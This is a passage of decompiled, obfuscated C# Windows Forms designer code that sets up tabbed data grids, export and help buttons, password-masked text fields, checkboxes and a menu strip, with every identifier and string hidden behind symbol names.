this.ᣰᙃ.Image = (Image) Resources.disk; - this.ᣰᙃ.ImageAlign = ContentAlignment.MiddleLeft; - this.ᣰᙃ.Location = new Point(281, 121); - this.ᣰᙃ.Name = ᙵ.ᣆ; - this.ᣰᙃ.Size = new Size(75, 28); - this.ᣰᙃ.TabIndex = 7; - this.ᣰᙃ.Text = ᙵ.ᣈ; - this.ᣰᙃ.TextImageRelation = TextImageRelation.ImageBeforeText; - this.ᣰᙃ.UseVisualStyleBackColor = true; - this.ᣰᙃ.Click += new EventHandler(this.ᡮᙃ); - this.ᤕᙃ.Controls.Add((Control) this.\u1924ᙃ); - this.ᤕᙃ.Controls.Add((Control) this.\u1943ᙃ); - this.ᤕᙃ.Controls.Add((Control) this.\u1975ᙃ); - this.ᤕᙃ.Controls.Add((Control) this.ᤖᙃ); - this.ᤕᙃ.Controls.Add((Control) this.\u1944ᙃ); - this.ᤕᙃ.Location = new Point(4, 22); - this.ᤕᙃ.Margin = new Padding(0); - this.ᤕᙃ.Name = ᙵ.ᣊ; - this.ᤕᙃ.Padding = new Padding(3); - this.ᤕᙃ.Size = new Size(824, 297); - this.ᤕᙃ.TabIndex = 8; - this.ᤕᙃ.Text = ᙵ.ᣘ; - this.ᤕᙃ.UseVisualStyleBackColor = true; - this.\u1924ᙃ.BackColor = System.Drawing.Color.DodgerBlue; - this.\u1924ᙃ.Location = new Point(0, 0); - this.\u1924ᙃ.Name = ᙵ.ᣎ; - this.\u1924ᙃ.Size = new Size(827, 300); - this.\u1924ᙃ.TabIndex = 1; - this.\u1943ᙃ.AutoSize = true; - this.\u1943ᙃ.Font = new Font(ᙵ.\u18FE, 8.25f, FontStyle.Italic, GraphicsUnit.Point, (byte) 0); - this.\u1943ᙃ.ForeColor = SystemColors.ControlDarkDark; - this.\u1943ᙃ.Location = new Point(542, 21); - this.\u1943ᙃ.Name = ᙵ.ᣒ; - this.\u1943ᙃ.Size = new Size(219, 13); - this.\u1943ᙃ.TabIndex = 3; - this.\u1943ᙃ.Text = ᙵ.ᣔ; - this.\u1975ᙃ.Image = (Image) componentResourceManager.GetObject(ᙵ.ᣖ); - this.\u1975ᙃ.Location = new Point(6, 6); - this.\u1975ᙃ.Name = ᙵ.ᣀ; - this.\u1975ᙃ.Size = new Size(75, 28); - this.\u1975ᙃ.TabIndex = 2; - this.\u1975ᙃ.Text = ᙵ.ᣚ; - this.\u1975ᙃ.TextImageRelation = TextImageRelation.ImageBeforeText; - this.\u1975ᙃ.UseVisualStyleBackColor = true; - this.\u1975ᙃ.Click += new EventHandler(this.ᢉᙃ); - this.ᤖᙃ.AllowUserToAddRows = false; - this.ᤖᙃ.AllowUserToDeleteRows = false; - this.ᤖᙃ.AutoSizeColumnsMode = DataGridViewAutoSizeColumnsMode.Fill; - this.ᤖᙃ.ColumnHeadersHeightSizeMode = DataGridViewColumnHeadersHeightSizeMode.AutoSize; - this.ᤖᙃ.Columns.AddRange((DataGridViewColumn) this.ᤗᙃ, (DataGridViewColumn) this.ᤀᙃ, (DataGridViewColumn) this.\u1933ᙃ, (DataGridViewColumn) this.ᤚᙃ, (DataGridViewColumn) this.ᤛᙃ); - this.ᤖᙃ.Location = new Point(6, 37); - this.ᤖᙃ.Margin = new Padding(0); - this.ᤖᙃ.Name = ᙵ.ᣙ; - this.ᤖᙃ.ReadOnly = true; - this.ᤖᙃ.Size = new Size(815, 257); - this.ᤖᙃ.TabIndex = 0; - this.ᤗᙃ.HeaderText = ᙵ.ᣞ; - this.ᤗᙃ.Name = ᙵ.ᣠ; - this.ᤗᙃ.ReadOnly = true; - this.ᤀᙃ.HeaderText = ᙵ.ᣢ; - this.ᤀᙃ.Name = ᙵ.ᣤ; - this.ᤀᙃ.ReadOnly = true; - this.\u1933ᙃ.HeaderText = ᙵ.ᣦ; - this.\u1933ᙃ.Name = ᙵ.ᣨ; - this.\u1933ᙃ.ReadOnly = true; - this.ᤚᙃ.HeaderText = ᙵ.ᣪ; - this.ᤚᙃ.Name = ᙵ.ᣬ; - this.ᤚᙃ.ReadOnly = true; - this.ᤛᙃ.HeaderText = ᙵ.ᣮ; - this.ᤛᙃ.Name = ᙵ.ᣰ; - this.ᤛᙃ.ReadOnly = true; - this.\u1944ᙃ.Image = (Image) Resources.page_white_excel; - this.\u1944ᙃ.Location = new Point(87, 6); - this.\u1944ᙃ.Name = ᙵ.ᣲ; - this.\u1944ᙃ.Size = new Size(75, 28); - this.\u1944ᙃ.TabIndex = 4; - this.\u1944ᙃ.Text = ᙵ.ᤂ; - this.\u1944ᙃ.TextImageRelation = TextImageRelation.ImageBeforeText; - this.\u1944ᙃ.UseVisualStyleBackColor = true; - this.\u1944ᙃ.Click += new EventHandler(this.ᢘᙃ); - this.ᤙᙃ.Controls.Add((Control) this.\u1925ᙃ); - this.ᤙᙃ.Controls.Add((Control) this.ᤝᙃ); - this.ᤙᙃ.Controls.Add((Control) this.\u1942ᙃ); - this.ᤙᙃ.Controls.Add((Control) this.\u1945ᙃ); - this.ᤙᙃ.Location = new Point(4, 22); - this.ᤙᙃ.Name = ᙵ.ᤄ; - this.ᤙᙃ.Size = new Size(824, 297); - this.ᤙᙃ.TabIndex = 9; - this.ᤙᙃ.Text = ᙵ.ᤆ; - this.ᤙᙃ.UseVisualStyleBackColor = true; - this.\u1925ᙃ.BackColor = System.Drawing.Color.DodgerBlue; - this.\u1925ᙃ.Location = new Point(0, 0); - this.\u1925ᙃ.Name = ᙵ.ᤈ; - this.\u1925ᙃ.Size = new Size(827, 300); - this.\u1925ᙃ.TabIndex = 1; - this.ᤝᙃ.AllowUserToAddRows = false; - this.ᤝᙃ.AllowUserToDeleteRows = false; - this.ᤝᙃ.AllowUserToOrderColumns = true; - this.ᤝᙃ.AutoSizeColumnsMode = DataGridViewAutoSizeColumnsMode.Fill; - this.ᤝᙃ.ColumnHeadersHeightSizeMode = DataGridViewColumnHeadersHeightSizeMode.AutoSize; - this.ᤝᙃ.Columns.AddRange((DataGridViewColumn) this.ᤞᙃ, (DataGridViewColumn) this.\u191Fᙃ, (DataGridViewColumn) this.\u1920ᙃ, (DataGridViewColumn) this.\u1921ᙃ, (DataGridViewColumn) this.\u1922ᙃ); - this.ᤝᙃ.Location = new Point(6, 37); - this.ᤝᙃ.Name = ᙵ.ᤊ; - this.ᤝᙃ.ReadOnly = true; - this.ᤝᙃ.Size = new Size(815, 257); - this.ᤝᙃ.TabIndex = 0; - this.ᤞᙃ.HeaderText = ᙵ.ᤘ; - this.ᤞᙃ.Name = ᙵ.ᤎ; - this.ᤞᙃ.ReadOnly = true; - this.\u191Fᙃ.HeaderText = ᙵ.\u193E; - this.\u191Fᙃ.Name = ᙵ.ᤒ; - this.\u191Fᙃ.ReadOnly = true; - this.\u1920ᙃ.HeaderText = ᙵ.ᤔ; - this.\u1920ᙃ.Name = ᙵ.ᤖ; - this.\u1920ᙃ.ReadOnly = true; - this.\u1921ᙃ.HeaderText = ᙵ.ᤀ; - this.\u1921ᙃ.Name = ᙵ.ᤚ; - this.\u1921ᙃ.ReadOnly = true; - this.\u1922ᙃ.HeaderText = ᙵ.ᤙ; - this.\u1922ᙃ.Name = ᙵ.ᤞ; - this.\u1922ᙃ.ReadOnly = true; - this.\u1942ᙃ.Image = (Image) componentResourceManager.GetObject(ᙵ.\u1920); - this.\u1942ᙃ.Location = new Point(6, 6); - this.\u1942ᙃ.Name = ᙵ.\u1922; - this.\u1942ᙃ.Size = new Size(75, 28); - this.\u1942ᙃ.TabIndex = 3; - this.\u1942ᙃ.Text = ᙵ.\u1924; - this.\u1942ᙃ.TextImageRelation = TextImageRelation.ImageBeforeText; - this.\u1942ᙃ.UseVisualStyleBackColor = true; - this.\u1942ᙃ.Click += new EventHandler(this.ᢊᙃ); - this.\u1945ᙃ.Image = (Image) Resources.page_white_excel; - this.\u1945ᙃ.Location = new Point(87, 6); - this.\u1945ᙃ.Name = ᙵ.\u1926; - this.\u1945ᙃ.Size = new Size(75, 28); - this.\u1945ᙃ.TabIndex = 5; - this.\u1945ᙃ.Text = ᙵ.\u1928; - this.\u1945ᙃ.TextImageRelation = TextImageRelation.ImageBeforeText; - this.\u1945ᙃ.UseVisualStyleBackColor = true; - this.\u1945ᙃ.Click += new EventHandler(this.ᢍᙃ); - this.\u1946ᙃ.Controls.Add((Control) this.\u194Fᙃ); - this.\u1946ᙃ.Controls.Add((Control) this.\u194Eᙃ); - this.\u1946ᙃ.Controls.Add((Control) this.\u1948ᙃ); - this.\u1946ᙃ.Controls.Add((Control) this.\u1947ᙃ); - this.\u1946ᙃ.Location = new Point(4, 22); - this.\u1946ᙃ.Name = ᙵ.\u192A; - this.\u1946ᙃ.Padding = new Padding(3); - this.\u1946ᙃ.Size = new Size(824, 297); - this.\u1946ᙃ.TabIndex = 11; - this.\u1946ᙃ.Text = ᙵ.\u192C; - this.\u1946ᙃ.UseVisualStyleBackColor = true; - this.\u194Fᙃ.BackColor = System.Drawing.Color.DodgerBlue; - this.\u194Fᙃ.Location = new Point(0, 0); - this.\u194Fᙃ.Name = ᙵ.\u192E; - this.\u194Fᙃ.Size = new Size(827, 300); - this.\u194Fᙃ.TabIndex = 6; - this.\u194Eᙃ.AutoSize = true; - this.\u194Eᙃ.Font = new Font(ᙵ.\u1930, 8.25f, FontStyle.Italic, GraphicsUnit.Point, (byte) 0); - this.\u194Eᙃ.Location = new Point(214, 21); - this.\u194Eᙃ.Name = ᙵ.\u1932; - this.\u194Eᙃ.Size = new Size(340, 13); - this.\u194Eᙃ.TabIndex = 5; - this.\u194Eᙃ.Text = ᙵ.\u1942; - this.\u1948ᙃ.Image = (Image) componentResourceManager.GetObject(ᙵ.\u1944); - this.\u1948ᙃ.Location = new Point(6, 6); - this.\u1948ᙃ.Name = ᙵ.\u1946; - this.\u1948ᙃ.Size = new Size(75, 28); - this.\u1948ᙃ.TabIndex = 4; - this.\u1948ᙃ.Text = ᙵ.\u1948; - this.\u1948ᙃ.TextImageRelation = TextImageRelation.ImageBeforeText; - this.\u1948ᙃ.UseVisualStyleBackColor = true; - this.\u1948ᙃ.Click += new EventHandler(this.ᢋᙃ); - this.\u1947ᙃ.AllowUserToAddRows = false; - this.\u1947ᙃ.AllowUserToDeleteRows = false; - this.\u1947ᙃ.AllowUserToOrderColumns = true; - this.\u1947ᙃ.AutoSizeColumnsMode = DataGridViewAutoSizeColumnsMode.Fill; - this.\u1947ᙃ.ColumnHeadersHeightSizeMode = DataGridViewColumnHeadersHeightSizeMode.AutoSize; - this.\u1947ᙃ.Columns.AddRange((DataGridViewColumn) this.\u1949ᙃ, (DataGridViewColumn) this.\u194Aᙃ, (DataGridViewColumn) this.\u194Bᙃ, (DataGridViewColumn) this.ᥘᙃ, (DataGridViewColumn) this.\u194Dᙃ); - this.\u1947ᙃ.Location = new Point(6, 37); - this.\u1947ᙃ.Name = ᙵ.\u194A; - this.\u1947ᙃ.ReadOnly = true; - this.\u1947ᙃ.Size = new Size(815, 257); - this.\u1947ᙃ.TabIndex = 1; - this.\u1949ᙃ.HeaderText = ᙵ.ᥘ; - this.\u1949ᙃ.Name = ᙵ.\u194E; - this.\u1949ᙃ.ReadOnly = true; - this.\u194Aᙃ.HeaderText = ᙵ.\u197E; - this.\u194Aᙃ.Name = ᙵ.ᥒ; - this.\u194Aᙃ.ReadOnly = true; - this.\u194Bᙃ.HeaderText = ᙵ.ᥔ; - this.\u194Bᙃ.Name = ᙵ.ᥖ; - this.\u194Bᙃ.ReadOnly = true; - this.ᥘᙃ.HeaderText = ᙵ.\u1940; - this.ᥘᙃ.Name = ᙵ.ᥚ; - this.ᥘᙃ.ReadOnly = true; - this.\u194Dᙃ.HeaderText = ᙵ.ᥙ; - this.\u194Dᙃ.Name = ᙵ.ᥞ; - this.\u194Dᙃ.ReadOnly = true; - this.\u1929ᙃ.Controls.Add((Control) this.\u1932ᙃ); - this.\u1929ᙃ.Controls.Add((Control) this.ᥝᙃ); - this.\u1929ᙃ.Controls.Add((Control) this.\u192Fᙃ); - this.\u1929ᙃ.Controls.Add((Control) this.\u192Aᙃ); - this.\u1929ᙃ.Controls.Add((Control) this.\u192Bᙃ); - this.\u1929ᙃ.Controls.Add((Control) this.\u192Cᙃ); - this.\u1929ᙃ.Controls.Add((Control) this.\u192Dᙃ); - this.\u1929ᙃ.Controls.Add((Control) this.\u192Eᙃ); - this.\u1929ᙃ.Location = new Point(4, 22); - this.\u1929ᙃ.Name = ᙵ.ᥠ; - this.\u1929ᙃ.Size = new Size(824, 297); - this.\u1929ᙃ.TabIndex = 10; - this.\u1929ᙃ.Text = ᙵ.ᥢ; - this.\u1929ᙃ.UseVisualStyleBackColor = true; - this.\u1932ᙃ.BackColor = System.Drawing.Color.DodgerBlue; - this.\u1932ᙃ.Location = new Point(0, 0); - this.\u1932ᙃ.Name = ᙵ.ᥤ; - this.\u1932ᙃ.Size = new Size(827, 300); - this.\u1932ᙃ.TabIndex = 6; - this.ᥝᙃ.Image = (Image) Resources.help; - this.ᥝᙃ.Location = new Point(545, 117); - this.ᥝᙃ.Name = ᙵ.ᥦ; - this.ᥝᙃ.Size = new Size(16, 16); - this.ᥝᙃ.TabIndex = 24; - this.ᥝᙃ.TabStop = false; - this.ᥝᙃ.Click += new EventHandler(this.\u18ADᙃ); - this.\u192Fᙃ.AutoSize = true; - this.\u192Fᙃ.Font = new Font(ᙵ.ᥨ, 9.75f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0); - this.\u192Fᙃ.ForeColor = System.Drawing.Color.DarkOrange; - this.\u192Fᙃ.Location = new Point(165, 87); - this.\u192Fᙃ.Name = ᙵ.ᥪ; - this.\u192Fᙃ.Size = new Size(415, 16); - this.\u192Fᙃ.TabIndex = 5; - this.\u192Fᙃ.Text = ᙵ.ᥬ; - this.\u192Aᙃ.AutoSize = true; - this.\u192Aᙃ.Location = new Point(196, 168); - this.\u192Aᙃ.Name = ᙵ.\u196E; - this.\u192Aᙃ.Size = new Size(93, 13); - this.\u192Aᙃ.TabIndex = 3; - this.\u192Aᙃ.Text = ᙵ.ᥰ; - this.\u192Bᙃ.AutoSize = true; - this.\u192Bᙃ.Location = new Point(236, 142); - this.\u192Bᙃ.Name = ᙵ.ᥲ; - this.\u192Bᙃ.Size = new Size(53, 13); - this.\u192Bᙃ.TabIndex = 2; - this.\u192Bᙃ.Text = ᙵ.ᙂᙂ; - this.\u192Cᙃ.Location = new Point(295, 165); - this.\u192Cᙃ.Name = ᙵ.ᙄᙂ; - this.\u192Cᙃ.Size = new Size(245, 20); - this.\u192Cᙃ.TabIndex = 1; - this.\u192Cᙃ.Text = ᙵ.ᙆᙂ; - this.\u192Cᙃ.UseSystemPasswordChar = true; - this.\u192Dᙃ.Location = new Point(295, 139); - this.\u192Dᙃ.Name = ᙵ.ᙈᙂ; - this.\u192Dᙃ.Size = new Size(245, 20); - this.\u192Dᙃ.TabIndex = 0; - this.\u192Dᙃ.Text = ᙵ.ᙊᙂ; - this.\u192Dᙃ.UseSystemPasswordChar = true; - this.\u192Dᙃ.Click += new EventHandler(this.ᢀᙃ); - this.\u192Eᙃ.Image = (Image) Resources.disk; - this.\u192Eᙃ.Location = new Point(465, 191); - this.\u192Eᙃ.Name = ᙵ.ᙘᙂ; - this.\u192Eᙃ.Size = new Size(75, 28); - this.\u192Eᙃ.TabIndex = 4; - this.\u192Eᙃ.Text = ᙵ.ᙎᙂ; - this.\u192Eᙃ.TextImageRelation = TextImageRelation.ImageBeforeText; - this.\u192Eᙃ.UseVisualStyleBackColor = true; - this.\u192Eᙃ.Click += new EventHandler(this.ᢗᙃ); - this.ᣋᙃ.AutoScroll = true; - this.ᣋᙃ.Controls.Add((Control) this.ᣀᙃ); - this.ᣋᙃ.Controls.Add((Control) this.ᥒᙃ); - this.ᣋᙃ.Controls.Add((Control) this.ᣍᙃ); - this.ᣋᙃ.Controls.Add((Control) this.ᣘᙃ); - this.ᣋᙃ.Location = new Point(4, 22); - this.ᣋᙃ.Name = ᙵ.ᙾᙂ; - this.ᣋᙃ.Size = new Size(824, 297); - this.ᣋᙃ.TabIndex = 5; - this.ᣋᙃ.Text = ᙵ.ᙒᙂ; - this.ᣋᙃ.UseVisualStyleBackColor = true; - this.ᣀᙃ.AutoSize = true; - this.ᣀᙃ.LinkColor = System.Drawing.Color.DodgerBlue; - this.ᣀᙃ.Location = new Point(709, 10); - this.ᣀᙃ.Name = ᙵ.ᙔᙂ; - this.ᣀᙃ.Size = new Size(86, 13); - this.ᣀᙃ.TabIndex = 7; - ((Label) this.ᣀᙃ).TabStop = true; - this.ᣀᙃ.Text = ᙵ.ᙖᙂ; - this.ᣀᙃ.LinkClicked += new LinkLabelLinkClickedEventHandler(this.ᡦᙃ); - this.ᥒᙃ.Controls.Add((Control) this.ᥙᙃ); - this.ᥒᙃ.Controls.Add((Control) this.ᥛᙃ); - this.ᥒᙃ.Controls.Add((Control) this.ᥔᙃ); - this.ᥒᙃ.Controls.Add((Control) this.ᥕᙃ); - this.ᥒᙃ.Controls.Add((Control) this.ᥓᙃ); - this.ᥒᙃ.Controls.Add((Control) this.\u197Eᙃ); - this.ᥒᙃ.Controls.Add((Control) this.ᣑᙃ); - this.ᥒᙃ.Controls.Add((Control) this.ᥑᙃ); - this.ᥒᙃ.Controls.Add((Control) this.\u18FEᙃ); - this.ᥒᙃ.Controls.Add((Control) this.ᤇᙃ); - this.ᥒᙃ.Controls.Add((Control) this.ᣗᙃ); - this.ᥒᙃ.Location = new Point(10, 105); - this.ᥒᙃ.Name = ᙵ.ᙀᙂ; - this.ᥒᙃ.Size = new Size(785, 176); - this.ᥒᙃ.TabIndex = 2; - this.ᥒᙃ.TabStop = false; - this.ᥒᙃ.Text = ᙵ.ᙚᙂ; - this.ᥙᙃ.Image = (Image) Resources.help; - this.ᥙᙃ.Location = new Point(335, 40); - this.ᥙᙃ.Name = ᙵ.ᙙᙂ; - this.ᥙᙃ.Size = new Size(16, 16); - this.ᥙᙃ.TabIndex = 23; - this.ᥙᙃ.TabStop = false; - this.ᥙᙃ.Click += new EventHandler(this.\u18ACᙃ); - this.ᥛᙃ.Image = (Image) Resources.help; - this.ᥛᙃ.Location = new Point(229, 86); - this.ᥛᙃ.Name = ᙵ.ᙞᙂ; - this.ᥛᙃ.Size = new Size(16, 16); - this.ᥛᙃ.TabIndex = 22; - this.ᥛᙃ.TabStop = false; - this.ᥛᙃ.Click += new EventHandler(this.\u18ABᙃ); - this.ᥔᙃ.AutoSize = true; - this.ᥔᙃ.Location = new Point(9, 153); - this.ᥔᙃ.Name = ᙵ.ᙠᙂ; - this.ᥔᙃ.Size = new Size(157, 17); - this.ᥔᙃ.TabIndex = 15; - this.ᥔᙃ.Text = ᙵ.ᙢᙂ; - this.ᥔᙃ.UseVisualStyleBackColor = true; - this.ᥔᙃ.Click += new EventHandler(this.ᢛᙃ); - this.ᥕᙃ.AutoSize = true; - this.ᥕᙃ.Location = new Point(6, 87); - this.ᥕᙃ.Name = ᙵ.ᙤᙂ; - this.ᥕᙃ.Size = new Size(217, 13); - this.ᥕᙃ.TabIndex = 14; - this.ᥕᙃ.Text = ᙵ.ᙦᙂ; - this.ᥓᙃ.AutoSize = true; - this.ᥓᙃ.Font = new Font(ᙵ.ᙨᙂ, 12f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0); - this.ᥓᙃ.ForeColor = SystemColors.InactiveCaption; - this.ᥓᙃ.Location = new Point(5, 63); - this.ᥓᙃ.Name = ᙵ.ᙪᙂ; - this.ᥓᙃ.Size = new Size(759, 20); - this.ᥓᙃ.TabIndex = 13; - this.ᥓᙃ.Text = ᙵ.ᙬᙂ; - this.\u197Eᙃ.AutoSize = true; - this.\u197Eᙃ.Location = new Point(9, 130); - this.\u197Eᙃ.Name = ᙵ.\u166Eᙂ; - this.\u197Eᙃ.Size = new Size(157, 17); - this.\u197Eᙃ.TabIndex = 12; - this.\u197Eᙃ.Text = ᙵ.ᙰᙂ; - this.\u197Eᙃ.UseVisualStyleBackColor = true; - this.\u197Eᙃ.Click += new EventHandler(this.ᢚᙃ); - this.ᣑᙃ.AutoSize = true; - this.ᣑᙃ.Location = new Point(6, 24); - this.ᣑᙃ.Name = ᙵ.ᙲᙂ; - this.ᣑᙃ.Size = new Size(200, 13); - this.ᣑᙃ.TabIndex = 4; - this.ᣑᙃ.Text = ᙵ.ᝂᙂ; - this.ᥑᙃ.AutoSize = true; - this.ᥑᙃ.Location = new Point(9, 107); - this.ᥑᙃ.Name = ᙵ.ᝄᙂ; - this.ᥑᙃ.Size = new Size(115, 17); - this.ᥑᙃ.TabIndex = 11; - this.ᥑᙃ.Text = ᙵ.ᝆᙂ; - this.ᥑᙃ.UseVisualStyleBackColor = true; - this.ᥑᙃ.Click += new EventHandler(this.ᢳᙃ); - this.\u18FEᙃ.Location = new Point(9, 40); - this.\u18FEᙃ.Name = ᙵ.ᝈᙂ; - this.\u18FEᙃ.Size = new Size(239, 20); - this.\u18FEᙃ.TabIndex = 5; - this.\u18FEᙃ.Text = ᙵ.ᝊᙂ; - this.ᤇᙃ.AutoSize = true; - this.ᤇᙃ.Location = new Point(434, 87); - this.ᤇᙃ.Name = ᙵ.\u1758ᙂ; - this.ᤇᙃ.Size = new Size(317, 17); - this.ᤇᙃ.TabIndex = 10; - this.ᤇᙃ.Text = ᙵ.ᝎᙂ; - this.ᤇᙃ.UseVisualStyleBackColor = true; - this.ᤇᙃ.CheckedChanged += new EventHandler(this.ᡉᙃ); - this.ᣗᙃ.Image = (Image) Resources.disk; - this.ᣗᙃ.ImageAlign = ContentAlignment.MiddleLeft; - this.ᣗᙃ.Location = new Point(254, 35); - this.ᣗᙃ.Name = ᙵ.\u177Eᙂ; - this.ᣗᙃ.Size = new Size(75, 28); - this.ᣗᙃ.TabIndex = 8; - this.ᣗᙃ.Text = ᙵ.\u1752ᙂ; - this.ᣗᙃ.TextImageRelation = TextImageRelation.ImageBeforeText; - this.ᣗᙃ.UseVisualStyleBackColor = true; - this.ᣗᙃ.Click += new EventHandler(this.ᢎᙃ); - this.ᣍᙃ.Controls.Add((Control) this.ᥚᙃ); - this.ᣍᙃ.Controls.Add((Control) this.ᥖᙃ); - this.ᣍᙃ.Controls.Add((Control) this.ᣓᙃ); - this.ᣍᙃ.Controls.Add((Control) this.ᣏᙃ); - this.ᣍᙃ.Controls.Add((Control) this.ᣎᙃ); - this.ᣍᙃ.Location = new Point(10, 287); - this.ᣍᙃ.Name = ᙵ.\u1754ᙂ; - this.ᣍᙃ.Size = new Size(785, 85); - this.ᣍᙃ.TabIndex = 1; - this.ᣍᙃ.TabStop = false; - this.ᣍᙃ.Text = ᙵ.\u1756ᙂ; - this.ᥚᙃ.Image = (Image) Resources.help; - this.ᥚᙃ.Location = new Point(507, 29); - this.ᥚᙃ.Name = ᙵ.ᝀᙂ; - this.ᥚᙃ.Size = new Size(16, 16); - this.ᥚᙃ.TabIndex = 22; - this.ᥚᙃ.TabStop = false; - this.ᥚᙃ.Click += new EventHandler(this.ᢪᙃ); - this.ᥖᙃ.Image = (Image) Resources.disk; - this.ᥖᙃ.ImageAlign = ContentAlignment.MiddleLeft; - this.ᥖᙃ.Location = new Point(426, 22); - this.ᥖᙃ.Name = ᙵ.\u175Aᙂ; - this.ᥖᙃ.Size = new Size(75, 28); - this.ᥖᙃ.TabIndex = 9; - this.ᥖᙃ.Text = ᙵ.\u1759ᙂ; - this.ᥖᙃ.TextImageRelation = TextImageRelation.ImageBeforeText; - this.ᥖᙃ.UseVisualStyleBackColor = true; - this.ᥖᙃ.Click += new EventHandler(this.ᢙᙃ); - this.ᣓᙃ.AutoSize = true; - this.ᣓᙃ.Checked = true; - this.ᣓᙃ.CheckState = CheckState.Checked; - this.ᣓᙃ.Location = new Point(9, 29); - this.ᣓᙃ.Name = ᙵ.\u175Eᙂ; - this.ᣓᙃ.Size = new Size(94, 17); - this.ᣓᙃ.TabIndex = 7; - this.ᣓᙃ.Text = ᙵ.ᝠᙂ; - this.ᣓᙃ.UseVisualStyleBackColor = true; - this.ᣓᙃ.CheckedChanged += new EventHandler(this.ᢑᙃ); - this.ᣏᙃ.Image = (Image) Resources.find; - this.ᣏᙃ.ImageAlign = ContentAlignment.MiddleLeft; - this.ᣏᙃ.Location = new Point(351, 21); - this.ᣏᙃ.Name = ᙵ.ᝢᙂ; - this.ᣏᙃ.Size = new Size(69, 28); - this.ᣏᙃ.TabIndex = 5; - this.ᣏᙃ.Text = ᙵ.ᝤᙂ; - this.ᣏᙃ.TextImageRelation = TextImageRelation.ImageBeforeText; - this.ᣏᙃ.UseVisualStyleBackColor = true; - this.ᣏᙃ.Click += new EventHandler(this.ᡬᙃ); - this.ᣎᙃ.Location = new Point(109, 26); - this.ᣎᙃ.Name = ᙵ.ᝦᙂ; - this.ᣎᙃ.ReadOnly = true; - this.ᣎᙃ.Size = new Size(236, 20); - this.ᣎᙃ.TabIndex = 0; - this.ᣎᙃ.Text = ᙵ.ᝨᙂ; - this.ᣎᙃ.TextChanged += new EventHandler(this.ᢒᙃ); - this.ᣘᙃ.Controls.Add((Control) this.ᣒᙃ); - this.ᣘᙃ.Controls.Add((Control) this.ᣊᙃ); - this.ᣘᙃ.Font = new Font(ᙵ.ᝪᙂ, 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0); - this.ᣘᙃ.Location = new Point(10, 26); - this.ᣘᙃ.Name = ᙵ.ᝬᙂ; - this.ᣘᙃ.Size = new Size(785, 73); - this.ᣘᙃ.TabIndex = 0; - this.ᣘᙃ.TabStop = false; - this.ᣘᙃ.Text = ᙵ.ᝮᙂ; - this.ᣒᙃ.AutoSize = true; - this.ᣒᙃ.Checked = true; - this.ᣒᙃ.CheckState = CheckState.Checked; - this.ᣒᙃ.Location = new Point(15, 42); - this.ᣒᙃ.Name = ᙵ.ᝰᙂ; - this.ᣒᙃ.Size = new Size(147, 17); - this.ᣒᙃ.TabIndex = 7; - this.ᣒᙃ.Text = ᙵ.\u1772ᙂ; - this.ᣒᙃ.UseVisualStyleBackColor = true; - this.ᣒᙃ.CheckedChanged += new EventHandler(this.ᢾᙃ); - this.ᣊᙃ.AutoSize = true; - this.ᣊᙃ.Checked = true; - this.ᣊᙃ.CheckState = CheckState.Checked; - this.ᣊᙃ.Location = new Point(15, 19); - this.ᣊᙃ.Name = ᙵ.គᙂ; - this.ᣊᙃ.Size = new Size(158, 17); - this.ᣊᙃ.TabIndex = 3; - this.ᣊᙃ.Text = ᙵ.ងᙂ; - this.ᣊᙃ.UseVisualStyleBackColor = true; - this.ᣊᙃ.CheckedChanged += new EventHandler(this.ᢏᙃ); - this.ᣔᙃ.AutoSize = true; - this.ᣔᙃ.Font = new Font(ᙵ.ឆᙂ, 21.75f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0); - this.ᣔᙃ.ForeColor = System.Drawing.Color.Navy; - this.ᣔᙃ.Location = new Point(303, 98); - this.ᣔᙃ.Name = ᙵ.ឈᙂ; - this.ᣔᙃ.Size = new Size(197, 34); - this.ᣔᙃ.TabIndex = 0; - this.ᣔᙃ.Text = ᙵ.ដᙂ; - this.ᣕᙃ.AutoSize = true; - this.ᣕᙃ.Font = new Font(ᙵ.មᙂ, 21.75f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0); - this.ᣕᙃ.ForeColor = System.Drawing.Color.Navy; - this.ᣕᙃ.Location = new Point(303, 98); - this.ᣕᙃ.Name = ᙵ.ណᙂ; - this.ᣕᙃ.Size = new Size(197, 34); - this.ᣕᙃ.TabIndex = 1; - this.ᣕᙃ.Text = ᙵ.\u17BEᙂ; - this.ᣆᙃ.BackColor = SystemColors.ButtonFace; - this.ᣆᙃ.Items.AddRange(new ToolStripItem[5] - { - (ToolStripItem) this.ᣇᙃ, - (ToolStripItem) this.ᣳᙃ, - (ToolStripItem) this.ᤍᙃ, - (ToolStripItem) this.ᤒᙃ, - (ToolStripItem) this.ᣚᙃ - }); - this.ᣆᙃ.Location = new Point(0, 0); - this.ᣆᙃ.Name = ᙵ.ធᙂ; - this.ᣆᙃ.Size = new Size(856, 25); - this.ᣆᙃ.TabIndex = 2; - this.ᣆᙃ.Text = ᙵ.បᙂ; - this.ᣇᙃ.BackColor = SystemColors.ButtonFace; - this.ᣇᙃ.DisplayStyle = ToolStripItemDisplayStyle.Text; - this.ᣇᙃ.DropDownItems.AddRange(new ToolStripItem[4] - { - (ToolStripItem) this.ᣈᙃ, - (ToolStripItem) this.ᤈᙃ, - (ToolStripItem) this.\u1928ᙃ, - (ToolStripItem) this.ᣉᙃ - }); - this.ᣇᙃ.Font = new Font(ᙵ.ពᙂ, 9f); - this.ᣇᙃ.ForeColor = SystemColors.ControlText; - this.ᣇᙃ.Image = (Image) componentResourceManager.GetObject(ᙵ.កᙂ); - this.ᣇᙃ.ImageTransparentColor = System.Drawing.Color.Magenta; - this.ᣇᙃ.Name = ᙵ.រᙂ; - this.ᣇᙃ.Size = new Size(38, 22); - this.ᣇᙃ.Text = ᙵ.យᙂ; - this.ᣈᙃ.Image = (Image) Resources.door_out; - this.ᣈᙃ.Name = ᙵ.ឞᙂ; - this.ᣈᙃ.Size = new Size(171, 22); - this.ᣈᙃ.Text = ᙵ.ហᙂ; - this.ᣈᙃ.Click += new EventHandler(this.ᡢᙃ); - this.ᤈᙃ.Image = (Image) Resources.transmit_blue; - this.ᤈᙃ.Name = ᙵ.អᙂ; - this.ᤈᙃ.Size = new Size(171, 22); - this.ᤈᙃ.Text = ᙵ.ឤᙂ; - this.ᤈᙃ.Click += new EventHandler(this.ᡯᙃ); - this.\u1928ᙃ.Image = (Image) Resources.application_xp; - this.\u1928ᙃ.Name = ᙵ.ឦᙂ; - this.\u1928ᙃ.Size = new Size(171, 22); - 